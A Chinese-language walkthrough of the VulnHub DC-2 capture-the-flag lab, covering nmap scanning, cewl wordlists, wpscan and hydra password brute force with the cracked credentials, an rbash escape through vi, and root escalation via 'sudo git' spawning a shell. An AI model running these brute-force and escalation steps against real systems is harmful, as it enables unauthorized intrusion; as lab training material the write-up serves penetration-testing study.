0x01 部署

靶机地址:

https://www.vulnhub.com/entry/dc-2,311/

DESCRIPTION

Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

As with the original DC-1, it’s designed with beginners in mind.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

Just like with DC-1, there are five flags including the final flag.

And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience.

In short, the only flag that really counts, is the final flag.

For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc.

I haven’t explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.

根据靶机说明,需要找到5个flag

下载镜像, 使用vmware打开, 网络选择NAT模式

0x02 信息收集

nmap扫描网段

nmap -sP 192.168.190.0/24


发现目标IP:`192.168.190.138

进一步扫描端口

nmap -T5 -A -v -p-  192.168.190.138

扫描结果:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 17:11 CST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 17:11
Completed NSE at 17:11, 0.00s elapsed
Initiating NSE at 17:11
Completed NSE at 17:11, 0.00s elapsed
Initiating NSE at 17:11
Completed NSE at 17:11, 0.00s elapsed
Initiating ARP Ping Scan at 17:11
Scanning 192.168.190.138 [1 port]
Completed ARP Ping Scan at 17:11, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:11
Completed Parallel DNS resolution of 1 host. at 17:11, 0.00s elapsed
Initiating SYN Stealth Scan at 17:11
Scanning 192.168.190.138 [65535 ports]
Discovered open port 80/tcp on 192.168.190.138
Discovered open port 7744/tcp on 192.168.190.138
Completed SYN Stealth Scan at 17:11, 3.65s elapsed (65535 total ports)
Initiating Service scan at 17:11
Scanning 2 services on 192.168.190.138
Completed Service scan at 17:11, 11.88s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.190.138
NSE: Script scanning 192.168.190.138.
Initiating NSE at 17:11
Completed NSE at 17:11, 2.50s elapsed
Initiating NSE at 17:11
Completed NSE at 17:11, 0.05s elapsed
Initiating NSE at 17:11
Completed NSE at 17:11, 0.00s elapsed
Nmap scan report for 192.168.190.138
Host is up (0.0052s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
|   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_  256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
MAC Address: 00:0C:29:5D:44:5F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 196.483 days (since Tue Mar  2 05:36:18 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   5.22 ms 192.168.190.138NSE: Script Post-scanning.
Initiating NSE at 17:11
Completed NSE at 17:11, 0.00s elapsed
Initiating NSE at 17:11
Completed NSE at 17:11, 0.00s elapsed
Initiating NSE at 17:11
Completed NSE at 17:11, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.84 secondsRaw packets sent: 65558 (2.885MB) | Rcvd: 65552 (2.623MB)

发现80端口和运行ssh的7744端口

0x03 漏洞利用

按照靶机信息提示

echo "192.168.190.138 dc-2" >> /etc/hosts

flag1

使用浏览器访问目标机80端口,发现运行的wordpress

在flag连接下发现flag1

Flag 1:Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.More passwords is always better, but sometimes you just can’t win them all.Log in as one to see the next flag.If you can’t find it, log in as another.

flag2

根据flag1的提示,需要登录来找下一个flag,使用cewl生成爆破字典

cewl http://dc-2 -w dc2-pass.txt

密码有了,下来需要用户,使用wpscan枚举用户

wpscan --url http://dc-2 --enumerate u

爆破得到admin,jerry,tom三个用户,爆破之

wpscan -U admin -P dc2-pass.txt --url http://dc-2 --force
wpscan -U tom -P dc2-pass.txt --url http://dc-2 --force
wpscan -U jerry -P dc2-pass.txt --url http://dc-2 --force

admin爆破失败,得到tom和jerry的密码

Username: tom, Password: parturient
Username: jerry, Password: adipiscing

访问wordpress默认登录链接: /wp-admin 或 /wp-login.php

使用jerry登录后,在pages中找到flag2

Flag 2:If you can't exploit WordPress and take a shortcut, there is another way.Hope you found another entry point.

flag3

根据flag2的提示,如果不能利用wordPress,还有其他的方法。

还有7744端口开放的ssh服务

使用hydra对ssh进行爆破

hydra -l tom -P dc2-pass.txt -t 1 -vV -e ns 192.168.190.138 -s 7744  ssh

爆破得到密码:

[7744][ssh] host: 192.168.190.138   login: tom   password: parturient

登录

ssh tom@192.168.190.138 -p 7744

登陆后发现当前目录下存在flag3.txt,使用cat等命令都无法运行,尝试使用vi获得flag3.txt中的内容,得到flag3

flag3Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

flag4

根据flag3提示,还有jerry账户,查看/etc/passwd发现果然存在jerry账户

进行rbash逃逸,尝试发现/,sudo,cp命令都无法使用,尝试使用vi进行逃逸

vi test
:set shell=/bin/sh # 或者用/bin/bash
:shell# 切换完成之后还要添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

逃逸后尝试登录jerry,使用之前爆破的jerry密码

在/home/jerry下发现flag4.txt

flag4
Good to see that you've made it this far - but you're not home yet. You still need to get the final flag (the only flag that really counts!!!).  No hints here - you're on your own now.  :-)Go on - git outta here!!!!

flag5

根据提示,使用git提权

运行sudo -l,发现不需要密码可以执行git命令

使用git提权,获得root权限

sudo git help status
!/bin/bash

在/root下发现最后一个flag

 __    __     _ _       _                    _
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /\  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   Congratulatons!!!A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.If you enjoyed this CTF, send me a tweet via @DCAU7.

vulnhub靶机-DC2-Writeup相关推荐

  1. 【VulnHub靶机渗透】三:Billu_b0x

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学). 文章目录 ...

  2. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  3. Vulnhub靶机系列:SecTalks: BNE0x03 - Simple

    这次的靶机是vulnhub靶机:SecTalks: BNE0x03 - Simple 文章目录 靶机地址及相关描述 靶机地址 靶机描述 Simple CTF Location Hints 靶机设置 利 ...

  4. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

  5. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  6. Vulnhub靶机DC系列-DC-8

    Vulnhub靶机DC系列-DC-8 靶场名称:DC-8 靶场地址:https://www.vulnhub.com/entry/dc-8,367/ 下载地址: DC-8.zip (Size: 379 ...

  7. Vulnhub靶机:EVILBOX_ ONE(很详细)

    目录 介绍 信息收集 主机发现 主机信息探测 网站探测 目录扫描 目录扫描字典 爆破页面参数 Burpsuite爆破参数 ffuf 补充:区分文件包含与文件读取 文件包含漏洞 文件包含.任意文件读取的 ...

  8. Vulnhub靶机渗透学习——DC-9

    本文仅个人学习所做笔记,仅供参考,有不足之处请指出! vulnhub靶机 vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试.提权. ...

  9. Vulnhub靶机Wakanda渗透测试攻略

    前言 Wakanda是一个新的交易市场网站,很快会上线了.你的目标是通过黑客技术找到"振金"的确切位置. 页首配图 本vulnhub靶机环境由xMagass开发,并托管于Vulnh ...

  10. VMware检测不到vulnhub靶机IP地址解决办法

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 vulnhub靶机检测不到IP地址解决办法 原因一:查看网络适配器是否为NAT模式 原因二:虚拟网络编辑器配置出错 原因三:靶机网卡配 ...

最新文章

  1. DFS(二):骑士游历问题
  2. 搭建好看的静态博客(使用Hexo进行搭建)
  3. 在计算机上工作用英语怎么说,“Go to work”是“去上班”,那“上夜班”用英语怎么说呢?...
  4. sqlite数据库插入和读取图片数据 (for ios)
  5. 博士生的经验就要传下去
  6. 使用smokeping监测网络
  7. Mysql 数据库默认值选 ‘‘“ 、Null和Empty String的区别
  8. POJ 3281 (最大流+匹配+拆点)
  9. 电脑开机,总需要按F1,是什么原因造成的?
  10. PHP全栈开发(八):CSS Ⅴ 超链接 style
  11. Access导入SQL2005
  12. 360度动态漫游技术(html格式)
  13. 显卡故障软件测试,显卡软硬件故障检查与排除实战
  14. import requests
  15. 阿里滑块 x82y x5sec本地dll 易语言
  16. java自动装配_Spring中自动装配的4种方式
  17. maya绑定后的模型修改编辑技巧
  18. 计算机考试上网题操作步骤,计算机等级考试一级复习 上网试题操作方法-
  19. HDU 2952 Counting Sheep (DFS找联通块)
  20. uname命令详解(图文)

热门文章

  1. GPU图形图像渲染原理
  2. 某直播APP逆向TCP协议分析
  3. nature:逆转关闭的免疫细胞保护大脑老化
  4. bp神经网络实现人脸识别,卷积神经网络手势识别
  5. 《咸鱼分享》DNS反向解析
  6. 华为服务器centos安装系统版本,华为服务器安装centos7.4
  7. 一文读懂css的相对定位【relative position】以及相对定位为什么要设置偏移量?
  8. android 仿qq发动态,Android opengl 实现动态贴纸(仿QQ的拍摄)
  9. oracle怎么做会计凭证,标准的会计凭证是什么样子
  10. 【GD32F310开发板试用】PWM+TMC5160驱动步进电机